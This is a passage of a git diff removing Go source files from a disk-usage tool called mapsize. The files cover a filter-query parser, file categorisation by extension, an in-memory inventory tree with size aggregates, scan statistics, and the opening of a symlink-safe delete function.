token{tOp, op, start}) - } - default: - start := i - for i < len(s) && !unicode.IsSpace(rune(s[i])) && !strings.ContainsRune("()=!<>~,\"'&|", rune(s[i])) { - i++ - } - out = append(out, token{tWord, s[start:i], start}) - } - } - return append(out, token{tEOF, "", len(s)}), nil -} diff --git a/internal/filter/parser.go b/internal/filter/parser.go deleted file mode 100644 index 3e89cb5..0000000 --- a/internal/filter/parser.go +++ /dev/null @@ -1,382 +0,0 @@ -package filter - -import ( - "fmt" - "path/filepath" - "regexp" - "strconv" - "strings" - "time" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" -) - -// Field is a filterable attribute. -type Field int - -const ( - FName Field = iota - FPath - FExt - FType - FCategory - FSize - FAllocated - FAge - FModified - FOwner - FGroup - FFiles - FFlag -) - -var fieldNames = map[string]Field{ - "name": FName, "path": FPath, "ext": FExt, "extension": FExt, "type": FType, "kind": FType, - "category": FCategory, "cat": FCategory, "size": FSize, "allocated": FAllocated, "alloc": FAllocated, - "age": FAge, "modified": FModified, "mtime": FModified, "owner": FOwner, "user": FOwner, "group": FGroup, - "files": FFiles, "flag": FFlag, "is": FFlag, -} - -// Fields lists the field names for help text. -const Fields = "name path ext type category size allocated age modified owner group files flag" - -// Query is a compiled filter. -type Query struct { - src string - root node - UsesPath bool -} - -func (q *Query) String() string { return q.src } - -type parser struct { - toks []token - i int - q *Query - now time.Time -} - -// Parse compiles a query. now anchors relative ages (pass time.Now()). -func Parse(s string, now time.Time) (*Query, error) { - toks, err := lex(s) - if err != nil { - return nil, err - } - q := &Query{src: s} - p := &parser{toks: toks, q: q, now: now} - if p.peek().kind == tEOF { - return nil, fmt.Errorf("empty query") - } - q.root, err = p.or() - if err != nil { - return nil, err - } - if t := p.peek(); t.kind != tEOF { - return nil, fmt.Errorf("unexpected %q at %d", t.val, t.pos+1) - } - return q, nil -} - -func (p *parser) peek() token { return p.toks[p.i] } -func (p *parser) next() token { - t := p.toks[p.i] - if t.kind != tEOF { - p.i++ - } - return t -} - -func isKw(t token, kw string) bool { return t.kind == tWord && strings.EqualFold(t.val, kw) } - -func (p *parser) or() (node, error) { - l, err := p.and() - if err != nil { - return nil, err - } - for isKw(p.peek(), "OR") { - p.next() - r, err := p.and() - if err != nil { - return nil, err - } - l = orNode{l, r} - } - return l, nil -} - -func (p *parser) and() (node, error) { - l, err := p.unary() - if err != nil { - return nil, err - } - for { - t := p.peek() - if isKw(t, "AND") { - p.next() - } else if t.kind == tEOF || t.kind == tRParen || isKw(t, "OR") { - return l, nil - } - r, err := p.unary() - if err != nil { - return nil, err - } - l = andNode{l, r} - } -} - -func (p *parser) unary() (node, error) { - t := p.peek() - switch { - case isKw(t, "NOT"): - p.next() - n, err := p.unary() - if err != nil { - return nil, err - } - return notNode{n}, nil - case t.kind == tLParen: - p.next() - n, err := p.or() - if err != nil { - return nil, err - } - if p.next().kind != tRParen { - return nil, fmt.Errorf("missing ) for ( at %d", t.pos+1) - } - return n, nil - case t.kind == tWord || t.kind == tString: - p.next() - if f, ok := fieldNames[strings.ToLower(t.val)]; ok && t.kind == tWord && p.isOp(p.peek()) { - return p.cmp(f, p.next()) - } - return nameMatch(t.val), nil - } - return nil, fmt.Errorf("unexpected %q at %d", t.val, t.pos+1) -} - -func (p *parser) isOp(t token) bool { - return t.kind == tOp || isKw(t, "contains") || isKw(t, "matches") || isKw(t, "in") -} - -func nameMatch(v string) node { - lv := strings.ToLower(v) - if strings.ContainsAny(v, "*?[") { - return globNode{field: FName, pat: lv} - } - return containsNode{field: FName, sub: lv} -} - -func (p *parser) values() ([]token, error) { - if p.peek().kind != tLParen { - t := p.next() - if t.kind != tWord && t.kind != tString { - return nil, fmt.Errorf("expected value at %d", t.pos+1) - } - return []token{t}, nil - } - p.next() - var out []token - for { - t := p.next() - if t.kind != tWord && t.kind != tString { - return nil, fmt.Errorf("expected value at %d", t.pos+1) - } - out = append(out, t) - switch n := p.next(); n.kind { - case tComma: - case tRParen: - return out, nil - default: - return nil, fmt.Errorf("expected , or ) at %d", n.pos+1) - } - } -} - -func (p *parser) cmp(f Field, opTok token) (node, error) { - op := strings.ToLower(opTok.val) - if op == "~" { - op = "matches" - } - vals, err := p.values() - if err != nil { - return nil, err - } - if op != "in" && len(vals) != 1 { - return nil, fmt.Errorf("operator %s takes one value", op) - } - if f == FPath { - p.q.UsesPath = true - } - switch f { - case FSize, FAllocated, FAge, FModified, FFiles: - if op == "contains" || op == "matches" { - return nil, fmt.Errorf("%s cannot be used with numeric field", op) - } - var nums []int64 - for _, v := range vals { - n, err := p.number(f, v.val) - if err != nil { - return nil, err - } - nums = append(nums, n) - } - if op == "in" { - op = "=" - } - return numNode{field: f, op: op, vals: nums}, nil - } - // String-like fields. - switch op { - case "contains": - return containsNode{field: f, sub: strings.ToLower(vals[0].val)}, nil - case "matches": - re, err := regexp.Compile("(?i)" + vals[0].val) - if err != nil { - return nil, fmt.Errorf("bad regular expression: %v", err) - } - return reNode{field: f, re: re}, nil - case "=", "!=", "in": - var n node - var set []string - for _, v := range vals { - s := strings.ToLower(v.val) - if f == FExt { - s = strings.TrimPrefix(s, ".") - } - if f == FCategory { - c, ok := inventory.ParseCategory(s) - if !ok { - return nil, fmt.Errorf("unknown category %q", v.val) - } - s = strings.ToLower(c.String()) - } - if f == FType { - s, err = normType(s) - if err != nil { - return nil, err - } - } - if f == FFlag { - if _, ok := flagNames[s]; !ok { - return nil, fmt.Errorf("unknown flag %q (sparse, hardlink, error, mount, incomplete, followed, broken)", v.val) - } - } - set = append(set, s) - } - if len(set) == 1 && strings.ContainsAny(set[0], "*?[") { - if _, err := filepath.Match(set[0], ""); err != nil { - return nil, fmt.Errorf("bad pattern %q", vals[0].val) - } - n = globNode{field: f, pat: set[0]} - } else { - n = eqNode{field: f, set: set} - } - if op == "!=" { - n = notNode{n} - } - return n, nil - } - return nil, fmt.Errorf("operator %s not valid for %s", op, opTok.val) -} - -func normType(s string) (string, error) { - switch s { - case "f", "file": - return "file", nil - case "d", "dir", "directory": - return "directory", nil - case "l", "link", "symlink": - return "symlink", nil - case "other", "special": - return "special", nil - } - return "", fmt.Errorf("unknown type %q (file, dir, symlink, other)", s) -} - -var flagNames = map[string]inventory.Flags{ - "sparse": inventory.FlagSparse, "hardlink": inventory.FlagHardlinked, "hardlinked": inventory.FlagHardlinked, - "error": inventory.FlagError, "mount": inventory.FlagMountPoint, "incomplete": inventory.FlagIncomplete, - "followed": inventory.FlagFollowed, "broken": inventory.FlagBrokenLink, -} - -// number parses sizes ("1.5GiB", "500MB", "10k"), ages ("365d", "2w") and -// dates ("2024-01-31"). Ages and dates are converted to modification times -// (unix nanoseconds) relative to p.now. -func (p *parser) number(f Field, s string) (int64, error) { - switch f { - case FSize, FAllocated: - return ParseSize(s) - case FFiles: - return strconv.ParseInt(s, 10, 64) - case FAge: - d, err := ParseAge(s) - return int64(d), err - case FModified: - for _, layout := range []string{"2006-01-02", "2006-01-02T15:04", "2006-01-02 15:04", time.RFC3339} { - if t, err := time.ParseInLocation(layout, s, time.Local); err == nil { - return t.UnixNano(), nil - } - } - if d, err := ParseAge(s); err == nil { - return p.now.Add(-d).UnixNano(), nil - } - return 0, fmt.Errorf("bad date %q (use YYYY-MM-DD or an age like 30d)", s) - } - return 0, fmt.Errorf("not numeric") -} - -// ParseSize parses a size with optional unit. kB/MB/GB/TB are SI (powers of -// 1000); KiB/MiB/GiB/TiB are IEC (1024). Bare K/M/G/T follow the display -// setting (textutil.SI). -func ParseSize(s string) (int64, error) { - i := 0 - for i < len(s) && (s[i] >= '0' && s[i] <= '9' || s[i] == '.') { - i++ - } - if i == 0 { - return 0, fmt.Errorf("bad size %q", s) - } - v, err := strconv.ParseFloat(s[:i], 64) - if err != nil { - return 0, fmt.Errorf("bad size %q", s) - } - unit := strings.ToLower(strings.TrimSpace(s[i:])) - bare := 1024.0 - if textutil.SI { - bare = 1000 - } - mult := map[string]float64{"": 1, "b": 1, - "k": bare, "m": bare * bare, "g": bare * bare * bare, "t": bare * bare * bare * bare, "p": bare * bare * bare * bare * bare, - "kb": 1e3, "mb": 1e6, "gb": 1e9, "tb": 1e12, "pb": 1e15, - "kib": 1 << 10, "mib": 1 << 20, "gib": 1 << 30, "tib": 1 << 40, "pib": 1 << 50} - m, ok := mult[unit] - if !ok { - return 0, fmt.Errorf("unknown size unit %q", s[i:]) - } - r := v * m - if r > 9e18 { - return 0, fmt.Errorf("size %q too large", s) - } - return int64(r), nil -} - -// ParseAge parses durations like 90s, 30min, 12h, 7d, 2w, 6mo, 1y. -func ParseAge(s string) (time.Duration, error) { - i := 0 - for i < len(s) && (s[i] >= '0' && s[i] <= '9' || s[i] == '.') { - i++ - } - v, err := strconv.ParseFloat(s[:i], 64) - if err != nil { - return 0, fmt.Errorf("bad age %q", s) - } - day := 24 * time.Hour - units := map[string]time.Duration{"s": time.Second, "sec": time.Second, "min": time.Minute, - "h": time.Hour, "d": day, "": day, "w": 7 * day, "m": 30 * day, "mo": 30 * day, "y": 365 * day} - u, ok := units[strings.ToLower(s[i:])] - if !ok { - return 0, fmt.Errorf("unknown age unit %q (s, min, h, d, w, mo, y)", s[i:]) - } - return time.Duration(v * float64(u)), nil -} diff --git a/internal/inventory/category.go b/internal/inventory/category.go deleted file mode 100644 index 17f1ff7..0000000 --- a/internal/inventory/category.go +++ /dev/null @@ -1,117 +0,0 @@ -package inventory - -import "strings" - -// Category is a coarse file classification used for colouring and stats. -type Category uint8 - -const ( - CatOther Category = iota - CatImage - CatVideo - CatAudio - CatArchive - CatDiskImage - CatDatabase - CatCode - CatDocument - CatExecutable - CatLog - CatCache - NumCategories -) - -var categoryNames = [NumCategories]string{ - "Other", "Image", "Video", "Audio", "Archive", "Disk image", "Database", - "Source code", "Document", "Executable", "Log", "Cache", -} - -func (c Category) String() string { - if c < NumCategories { - return categoryNames[c] - } - return "Other" -} - -// ParseCategory resolves a category by (case-insensitive) name or prefix. -func ParseCategory(s string) (Category, bool) { - s = strings.ToLower(strings.TrimSpace(s)) - for i, n := range categoryNames { - ln := strings.ToLower(n) - if ln == s || strings.ReplaceAll(ln, " ", "") == s || strings.HasPrefix(ln, s) && len(s) >= 3 { - return Category(i), true - } - } - switch s { - case "vm", "virtual machine", "disk": - return CatDiskImage, true - case "db": - return CatDatabase, true - case "src", "source": - return CatCode, true - case "exe", "binary": - return CatExecutable, true - } - return 0, false -} - -var extCategory = map[string]Category{} - -func init() { - add := func(c Category, exts string) { - for _, e := range strings.Fields(exts) { - extCategory[e] = c - } - } - add(CatImage, "jpg jpeg png gif bmp tif tiff webp heic heif raw cr2 cr3 nef arw dng svg ico psd xcf avif jxl orf rw2") - add(CatVideo, "mp4 mkv mov avi wmv flv webm m4v mpg mpeg ts m2ts vob 3gp ogv mts") - add(CatAudio, "mp3 flac wav ogg oga opus m4a aac wma aiff aif alac mid midi") - add(CatArchive, "zip tar gz tgz bz2 tbz xz txz zst zstd 7z rar lz lz4 lzma cab deb rpm apk jar war cpio pkg snap whl gem") - add(CatDiskImage, "iso img qcow qcow2 vmdk vdi vhd vhdx hdd ova ovf dmg raw vmem vmsn nvram sav") - add(CatDatabase, "db sqlite sqlite3 db3 mdb accdb frm ibd myd myi ldf mdf ndf dbf wal kdbx realm lmdb rdb aof") - add(CatCode, "c h cc cpp cxx hpp hh go rs py pyc js mjs cjs ts tsx jsx java kt kts scala rb php pl pm sh bash zsh fish lua swift m mm cs fs vb r jl hs ml ex exs erl clj dart sql css scss sass less html htm vue svelte json yaml yml toml xml proto gradle cmake mk ipynb o a lib obj class") - add(CatDocument, "pdf doc docx odt rtf txt md rst tex xls xlsx ods csv tsv ppt pptx odp epub mobi djvu pages numbers key org adoc") - add(CatExecutable, "exe dll so dylib bin msi app elf ko sys efi appimage com") - add(CatLog, "log journal") - add(CatCache, "cache tmp temp swp bak old part crdownload") -} - -// CategoryFor classifies a file by its (lower-case) extension and by -// whether it lives beneath a cache or log directory. -func CategoryFor(ext string, inCache, inLog bool) Category { - c, ok := extCategory[ext] - switch { - case inCache && (!ok || c == CatOther || c == CatCode): - return CatCache - case inLog && (!ok || c == CatArchive || c == CatOther): - return CatLog - case ok: - return c - } - return CatOther -} - -// PathHints reports whether a directory path contains a cache or log -// component. It is evaluated once per directory, not per file. -func PathHints(path string) (inCache, inLog bool) { - lp := strings.ToLower(path) - for _, part := range strings.FieldsFunc(lp, func(r rune) bool { return r == '/' || r == '\\' }) { - switch part { - case "cache", ".cache", "caches", "__pycache__", ".npm", ".gradle", "inetcache", "temp", "tmp": - inCache = true - case "log", "logs", ".logs", "journal": - inLog = true - } - } - return -} - -// Ext returns the lower-case extension of name without the dot ("" if none, -// or if the name is a dotfile like ".bashrc"). -func Ext(name string) string { - i := strings.LastIndexByte(name, '.') - if i <= 0 || i == len(name)-1 || len(name)-i > 16 { - return "" - } - return strings.ToLower(name[i+1:]) -} diff --git a/internal/inventory/query.go b/internal/inventory/query.go deleted file mode 100644 index 26ef11a..0000000 --- a/internal/inventory/query.go +++ /dev/null @@ -1,176 +0,0 @@ -package inventory - -import ( - "container/heap" - "sort" -) - -// SizeMode selects which size drives layout and sorting. -type SizeMode uint8 - -const ( - SizeAllocated SizeMode = iota // disk usage (default) - SizeLogical // apparent size -) - -func (m SizeMode) String() string { - if m == SizeLogical { - return "logical" - } - return "allocated" -} - -// Total returns the node's aggregate size in the given mode. -func (n *Node) Total(m SizeMode) int64 { - if m == SizeLogical { - return n.TotSize - } - return n.TotAlloc -} - -// Own returns the node's own size in the given mode. -func (n *Node) Own(m SizeMode) int64 { - if m == SizeLogical { - return n.Size - } - return n.Alloc -} - -type ranked struct { - id NodeID - key int64 -} - -type minHeap []ranked - -func (h minHeap) Len() int { return len(h) } -func (h minHeap) Less(i, j int) bool { - if h[i].key != h[j].key { - return h[i].key < h[j].key - } - return h[i].id > h[j].id -} -func (h minHeap) Swap(i, j int) { h[i], h[j] = h[j], h[i] } -func (h *minHeap) Push(x any) { *h = append(*h, x.(ranked)) } -func (h *minHeap) Pop() any { - old := *h - x := old[len(old)-1] - *h = old[:len(old)-1] - return x -} - -// TopK keeps the k entries with the largest keys; O(n log k). -type TopK struct { - k int - h minHeap -} - -// NewTopK creates a collector for the k largest keys. -func NewTopK(k int) *TopK { return &TopK{k: k} } - -// Offer considers one candidate. -func (t *TopK) Offer(id NodeID, key int64) { - if t.k <= 0 { - return - } - if len(t.h) < t.k { - heap.Push(&t.h, ranked{id, key}) - return - } - if r := t.h[0]; key > r.key || key == r.key && id < r.id { - t.h[0] = ranked{id, key} - heap.Fix(&t.h, 0) - } -} - -// Sorted returns the collected IDs, largest key first (ties by ID). -func (t *TopK) Sorted() []NodeID { - rs := append([]ranked(nil), t.h...) - sort.Slice(rs, func(i, j int) bool { - if rs[i].key != rs[j].key { - return rs[i].key > rs[j].key - } - return rs[i].id < rs[j].id - }) - out := make([]NodeID, len(rs)) - for i, r := range rs { - out[i] = r.id - } - return out -} - -// Walk visits id and all its descendants depth-first (iteratively). -func (t *Tree) Walk(id NodeID, fn func(NodeID, *Node) bool) { - stack := []NodeID{id} - for len(stack) > 0 { - cur := stack[len(stack)-1] - stack = stack[:len(stack)-1] - n := t.Node(cur) - if !fn(cur, n) { - continue - } - for c := n.FirstChild; c != NoNode; c = t.Node(c).NextSibling { - stack = append(stack, c) - } - } -} - -// Top returns the k nodes beneath (and including) root with the largest key, -// considering only nodes accepted by keep. -func (t *Tree) Top(root NodeID, k int, keep func(*Node) bool, key func(*Node) int64) []NodeID { - tk := NewTopK(k) - t.Walk(root, func(id NodeID, n *Node) bool { - if keep(n) { - tk.Offer(id, key(n)) - } - return true - }) - return tk.Sorted() -} - -// SortedChildren returns the children of id ordered by size descending. -func (t *Tree) SortedChildren(id NodeID, m SizeMode) []NodeID { - var out []NodeID - t.Children(id, func(c NodeID, _ *Node) { out = append(out, c) }) - sort.Slice(out, func(i, j int) bool { - a, b := t.Node(out[i]).Total(m), t.Node(out[j]).Total(m) - if a != b { - return a > b - } - return out[i] < out[j] - }) - return out -} - -// ExtStat summarises one extension. -type ExtStat struct { - Ext string - Cat Category - Count int64 - Size int64 // logical - Alloc int64 -} - -// ExtStats aggregates file statistics by extension beneath root. -func (t *Tree) ExtStats(root NodeID) []ExtStat { - stats := make([]ExtStat, t.ExtCount()) - t.Walk(root, func(_ NodeID, n *Node) bool { - if n.Kind == KindFile && n.Flags&FlagHardlinkDup == 0 { - s := &stats[n.Ext] - s.Count++ - s.Size += n.Size - s.Alloc += n.Alloc - s.Cat = n.Cat - } - return true - }) - out := stats[:0] - for i, s := range stats { - if s.Count > 0 { - s.Ext = t.exts[i] - s.Cat = CategoryFor(s.Ext, false, false) - out = append(out, s) - } - } - return out -} diff --git a/internal/inventory/query_test.go b/internal/inventory/query_test.go deleted file mode 100644 index 8cd96f1..0000000 --- a/internal/inventory/query_test.go +++ /dev/null @@ -1,42 +0,0 @@ -package inventory - -import "testing" - -func TestTopKAndRecompute(t *testing.T) { - tr := New("/r", KindDir) - d := tr.Add(0, "d", KindDir) - for i := range 100 { - id := tr.Add(d, "f", KindFile) - n := tr.Node(id) - n.Size, n.Alloc = int64(i), int64(i) - } - tr.Recompute() - if got := tr.Node(0).TotSize; got != 4950 { - t.Fatalf("total %d", got) - } - if tr.Node(0).Files != 100 || tr.Node(0).Dirs != 1 { - t.Fatalf("counts %d %d", tr.Node(0).Files, tr.Node(0).Dirs) - } - top := tr.Top(0, 3, func(n *Node) bool { return n.Kind == KindFile }, func(n *Node) int64 { return n.Size }) - if len(top) != 3 || tr.Node(top[0]).Size != 99 || tr.Node(top[2]).Size != 97 { - t.Fatalf("top %v", top) - } - if p := tr.Path(top[0]); p != "/r/d/f" { - t.Fatalf("path %q", p) - } -} - -func TestExtAndCategory(t *testing.T) { - cases := map[string]string{"a.QCOW2": "qcow2", ".bashrc": "", "noext": "", "x.tar.gz": "gz", "trail.": ""} - for in, want := range cases { - if got := Ext(in); got != want { - t.Errorf("Ext(%q)=%q want %q", in, got, want) - } - } - if CategoryFor("qcow2", false, false) != CatDiskImage || CategoryFor("bin", true, false) != CatExecutable { - t.Fatal("category mapping") - } - if CategoryFor("", true, false) != CatCache { - t.Fatal("cache hint") - } -} diff --git a/internal/inventory/stats.go b/internal/inventory/stats.go deleted file mode 100644 index bce1573..0000000 --- a/internal/inventory/stats.go +++ /dev/null @@ -1,106 +0,0 @@ -package inventory - -import ( - "errors" - "io/fs" - "syscall" - "time" -) - -// ErrKind classifies scan errors for reporting. -type ErrKind uint8 - -const ( - ErrPermission ErrKind = iota - ErrVanished - ErrIO - ErrLoop - ErrOther - NumErrKinds -) - -func (k ErrKind) String() string { - return [...]string{"Permission denied", "Vanished during scan", "I/O error", "Symlink loop", "Other error"}[k] -} - -// Classify maps an OS error to an ErrKind. -func Classify(err error) ErrKind { - switch { - case errors.Is(err, fs.ErrPermission): - return ErrPermission - case errors.Is(err, fs.ErrNotExist): - return ErrVanished - case errors.Is(err, syscall.ELOOP): - return ErrLoop - case errors.Is(err, syscall.EIO): - return ErrIO - } - return ErrOther -} - -// ErrorRecord is one recorded scan error. -type ErrorRecord struct { - Node NodeID // node the error is attached to (the directory for listing failures) - Name string // entry name when no node was created (e.g. vanished) - Kind ErrKind - Msg string -} - -// MaxErrorRecords caps the detailed error list; counts are always exact. -const MaxErrorRecords = 100_000 - -// Stats describes a scan as a whole. -type Stats struct { - Root string - Start, End time.Time - Complete bool // scan finished (possibly with errors) - Cancelled bool - - Files, Dirs, Symlinks, Others int64 - - ErrCounts [NumErrKinds]int64 - Errors []ErrorRecord - Excluded int64 - SkippedMounts int64 - VirtualSkipped int64 - LoopsSkipped int64 - BrokenLinks int64 - HardlinkDups int64 - Unscanned int64 // directories never read because the scan was cancelled - - Excludes []string - OneFileSystem bool - Follow string - Workers int - FromSnapshot string -} - -// TotalErrors sums all error kinds. -func (s *Stats) TotalErrors() int64 { - var t int64 - for _, c := range s.ErrCounts { - t += c - } - return t -} - -// AddError records an error (the detailed list is capped). -func (s *Stats) AddError(r ErrorRecord) { - s.ErrCounts[r.Kind]++ - if len(s.Errors) < MaxErrorRecords { - s.Errors = append(s.Errors, r) - } -} - -// Elapsed is the scan duration so far (or total once finished). -func (s *Stats) Elapsed() time.Duration { - if !s.End.IsZero() { - return s.End.Sub(s.Start) - } - return time.Since(s.Start) -} - -// Incomplete reports whether totals may under-count real usage. -func (s *Stats) Incomplete() bool { - return !s.Complete || s.Cancelled || s.TotalErrors() > 0 || s.Unscanned > 0 -} diff --git a/internal/inventory/tree.go b/internal/inventory/tree.go deleted file mode 100644 index dd50123..0000000 --- a/internal/inventory/tree.go +++ /dev/null @@ -1,338 +0,0 @@ -// Package inventory is the in-memory filesystem model: an append-only arena -// of nodes addressed by stable NodeIDs, with incrementally maintained -// directory aggregates. -// -// Concurrency: a Tree has exactly one writer (the scan controller or a -// snapshot loader). Other goroutines must hold RLock while reading node data. -// Nodes are never removed, so a NodeID stays valid for the Tree's lifetime. -package inventory - -import ( - "math" - "path/filepath" - "slices" - "sync" - "time" -) - -// NodeID addresses a node within one Tree. The root is always 0. -type NodeID uint32 - -// NoNode is the nil NodeID. -const NoNode NodeID = ^NodeID(0) - -// Kind is the node type. -type Kind uint8 - -const ( - KindFile Kind = iota - KindDir - KindSymlink - KindOther // devices, sockets, fifos, reparse points -) - -func (k Kind) String() string { - return [...]string{"File", "Directory", "Symlink", "Special"}[k&3] -} - -// Flags record per-node facts. -type Flags uint16 - -const ( - FlagHardlinkDup Flags = 1 << iota // additional link to an inode counted elsewhere - FlagMountPoint // directory on a different device than its parent - FlagVirtualFS // virtual filesystem, not descended - FlagSkippedFS // other filesystem, not descended (--one-file-system) - FlagSparse // allocated < logical (sparse or compressed) - FlagError // stat or read failed - FlagIncomplete // directory contents not (fully) read - FlagScanned // directory fully read - FlagLoop // directory already visited via another path - FlagFollowed // reached through a followed symlink - FlagAllocUnknown // platform cannot report allocated size - FlagBrokenLink // symlink target does not exist - FlagHardlinked // regular file with link count > 1 - FlagDeleted // moved to trash from the UI -) - -// Node is one filesystem object. Sizes are own sizes; Tot* fields are -// aggregates including the node itself and (for directories) everything -// beneath it. -type Node struct { - Parent, FirstChild, NextSibling NodeID - dir uint32 // index into dir side table (directories only) - - Name string // single path component; the root holds the full root path - - Size, Alloc int64 // own logical / allocated bytes - TotSize, TotAlloc int64 // aggregates (hard-link duplicates contribute 0) - MTime int64 // unix nanoseconds - - Files, Dirs uint32 // recursive counts beneath (dirs excludes self) - Errors uint32 // recursive error count beneath and including self - Mode uint32 // fs.FileMode bits - UID, GID uint32 - Nlink uint32 - - Ext uint16 - Flags Flags - Kind Kind - Cat Category -} - -// IsDir reports whether the node is a directory. -func (n *Node) IsDir() bool { return n.Kind == KindDir } - -// Delta is an aggregate change applied to a node and all its ancestors. -type Delta struct { - Size, Alloc int64 - Files, Dirs, Errors int64 - Cat [NumCategories]int64 -} - -const chunkBits = 16 -const chunkSize = 1 << chunkBits - -// chunked is a growable array that never moves existing elements. -type chunked[T any] struct { - c [][]T - n int -} - -func (c *chunked[T]) add(v T) uint32 { - if c.n&(chunkSize-1) == 0 && c.n>>chunkBits == len(c.c) { - c.c = append(c.c, make([]T, 0, chunkSize)) - } - ch := &c.c[c.n>>chunkBits] - *ch = append(*ch, v) - c.n++ - return uint32(c.n - 1) -} - -func (c *chunked[T]) at(i uint32) *T { return &c.c[i>>chunkBits][i&(chunkSize-1)] } - -// Tree is the inventory for one scan root. -type Tree struct { - sync.RWMutex - - nodes chunked[Node] - dirs chunked[[NumCategories]int64] - - exts []string - extIdx map[string]uint16 - - Stats Stats -} - -// New creates a tree whose root has the given full path and kind. -func New(rootPath string, kind Kind) *Tree { - t := &Tree{exts: []string{""}, extIdx: map[string]uint16{"": 0}} - t.Stats.Root = rootPath - t.Stats.Start = time.Now() - t.Add(NoNode, rootPath, kind) - return t -} - -// Len returns the number of nodes. -func (t *Tree) Len() int { return t.nodes.n } - -// Node returns the node for id. The pointer stays valid; reading its fields -// concurrently with the writer requires RLock. -func (t *Tree) Node(id NodeID) *Node { return t.nodes.at(uint32(id)) } - -// Root returns the root NodeID (always 0). -func (t *Tree) Root() NodeID { return 0 } - -// Add appends a child node and links it under parent. Only the writer may -// call it. It does not touch aggregates; use Propagate. -func (t *Tree) Add(parent NodeID, name string, kind Kind) NodeID { - n := Node{Parent: parent, FirstChild: NoNode, NextSibling: NoNode, Name: name, Kind: kind} - if kind == KindDir { - n.dir = t.dirs.add([NumCategories]int64{}) - } else { - n.Ext = t.internExt(Ext(name)) - } - id := NodeID(t.nodes.add(n)) - if parent != NoNode { - p := t.Node(parent) - t.Node(id).NextSibling = p.FirstChild - p.FirstChild = id - } - return id -} - -func (t *Tree) internExt(e string) uint16 { - if i, ok := t.extIdx[e]; ok { - return i - } - if len(t.exts) >= 1<<16-1 { - return 0 - } - t.exts = append(t.exts, e) - t.extIdx[e] = uint16(len(t.exts) - 1) - return uint16(len(t.exts) - 1) -} - -// ExtName returns the extension string for a node ("" if none). -func (t *Tree) ExtName(n *Node) string { return t.exts[n.Ext] } - -// ExtCount returns the number of interned extensions (including ""). -func (t *Tree) ExtCount() int { return len(t.exts) } - -// ExtByIndex returns an interned extension. -func (t *Tree) ExtByIndex(i int) string { return t.exts[i] } - -// CatSizes returns the per-category allocated bytes beneath a directory. -func (t *Tree) CatSizes(id NodeID) *[NumCategories]int64 { - n := t.Node(id) - if n.Kind != KindDir { - return nil - } - return t.dirs.at(n.dir) -} - -// Propagate adds d to id and every ancestor. Cost is O(depth); callers batch -// many entries into one Delta. -func (t *Tree) Propagate(id NodeID, d Delta) { - for id != NoNode { - n := t.Node(id) - n.TotSize += d.Size - n.TotAlloc += d.Alloc - n.Files = addU32(n.Files, d.Files) - n.Dirs = addU32(n.Dirs, d.Dirs) - n.Errors = addU32(n.Errors, d.Errors) - if n.Kind == KindDir { - cs := t.dirs.at(n.dir) - for i, v := range d.Cat { - cs[i] += v - } - } - id = n.Parent - } -} - -// satAdd adds non-negative int64s, saturating at the maximum. -func satAdd(a, b int64) int64 { - if b > 0 && a > math.MaxInt64-b { - return math.MaxInt64 - } - return a + b -} - -func addU32(a uint32, d int64) uint32 { - v := int64(a) + d - if v < 0 { - return 0 - } - if v > 1<<32-1 { - return 1<<32 - 1 - } - return uint32(v) -} - -// Children calls fn for each child of id (in reverse insertion order). -func (t *Tree) Children(id NodeID, fn func(NodeID, *Node)) { - for c := t.Node(id).FirstChild; c != NoNode; { - n := t.Node(c) - fn(c, n) - c = n.NextSibling - } -} - -// ChildCount returns the number of direct children. -func (t *Tree) ChildCount(id NodeID) int { - k := 0 - for c := t.Node(id).FirstChild; c != NoNode; c = t.Node(c).NextSibling { - k++ - } - return k -} - -// Path reconstructs the full path of id. -func (t *Tree) Path(id NodeID) string { - var parts []string - for id != NoNode { - n := t.Node(id) - parts = append(parts, n.Name) - id = n.Parent - } - slices.Reverse(parts) - return filepath.Join(parts...) -} - -// Ancestors returns the chain root..id inclusive. -func (t *Tree) Ancestors(id NodeID) []NodeID { - var out []NodeID - for id != NoNode { - out = append(out, id) - id = t.Node(id).Parent - } - slices.Reverse(out) - return out -} - -// IsAncestor reports whether a is id or an ancestor of id. -func (t *Tree) IsAncestor(a, id NodeID) bool { - for id != NoNode { - if id == a { - return true - } - id = t.Node(id).Parent - } - return false -} - -// Depth returns the number of ancestors of id. -func (t *Tree) Depth(id NodeID) int { - d := 0 - for id = t.Node(id).Parent; id != NoNode; id = t.Node(id).Parent { - d++ - } - return d -} - -// Recompute rebuilds all aggregates bottom-up. It relies on the invariant -// that a parent's ID is smaller than its children's, which both the scanner -// and the snapshot loader guarantee. Used after loading a snapshot. -func (t *Tree) Recompute() { - for i := 0; i < t.Len(); i++ { - n := t.Node(NodeID(i)) - n.TotSize, n.TotAlloc, n.Files, n.Dirs = 0, 0, 0, 0 - n.Errors = 0 - if n.Flags&FlagError != 0 { - n.Errors = 1 - } - if n.Flags&FlagHardlinkDup == 0 { - n.TotSize, n.TotAlloc = n.Size, n.Alloc - } - if n.Kind == KindDir { - *t.dirs.at(n.dir) = [NumCategories]int64{} - } - } - // Sums saturate: snapshot data is untrusted and must not wrap to - // negative totals. - for i := t.Len() - 1; i > 0; i-- { - n := t.Node(NodeID(i)) - p := t.Node(n.Parent) - p.TotSize = satAdd(p.TotSize, n.TotSize) - p.TotAlloc = satAdd(p.TotAlloc, n.TotAlloc) - p.Errors = addU32(p.Errors, int64(n.Errors)) - cs := t.dirs.at(p.dir) - if n.Kind == KindDir { - p.Files = addU32(p.Files, int64(n.Files)) - p.Dirs = addU32(p.Dirs, int64(n.Dirs)+1) - for c, v := range t.dirs.at(n.dir) { - cs[c] = satAdd(cs[c], v) - } - } else { - p.Files = addU32(p.Files, 1) - if n.Flags&FlagHardlinkDup == 0 { - cs[n.Cat] = satAdd(cs[n.Cat], n.Alloc) - } - } - } -} - -// ExtIndexer returns a function interning extension strings; used by -// loaders that rebuild a tree from external data. -func (t *Tree) ExtIndexer() func(string) uint16 { return t.internExt } diff --git a/internal/platform/delete_unix.go b/internal/platform/delete_unix.go deleted file mode 100644 index 68febcd..0000000 --- a/internal/platform/delete_unix.go +++ /dev/null @@ -1,35 +0,0 @@ -//go:build unix - -package platform - -import ( - "errors" - "io/fs" - "os" - "path/filepath" - "syscall" -) - -// Delete permanently removes path (recursively for a directory) if it still -// matches want. The check and the removal both go through an os.Root on the -// parent directory, so a symlink swapped in since the scan cannot redirect -// the removal outside it. -func Delete(path string, want Expect) error { - if err := checkAbs(path); err != nil { - return err - } - dir, base := filepath.Dir(path), filepath.Base(path) - root, err := 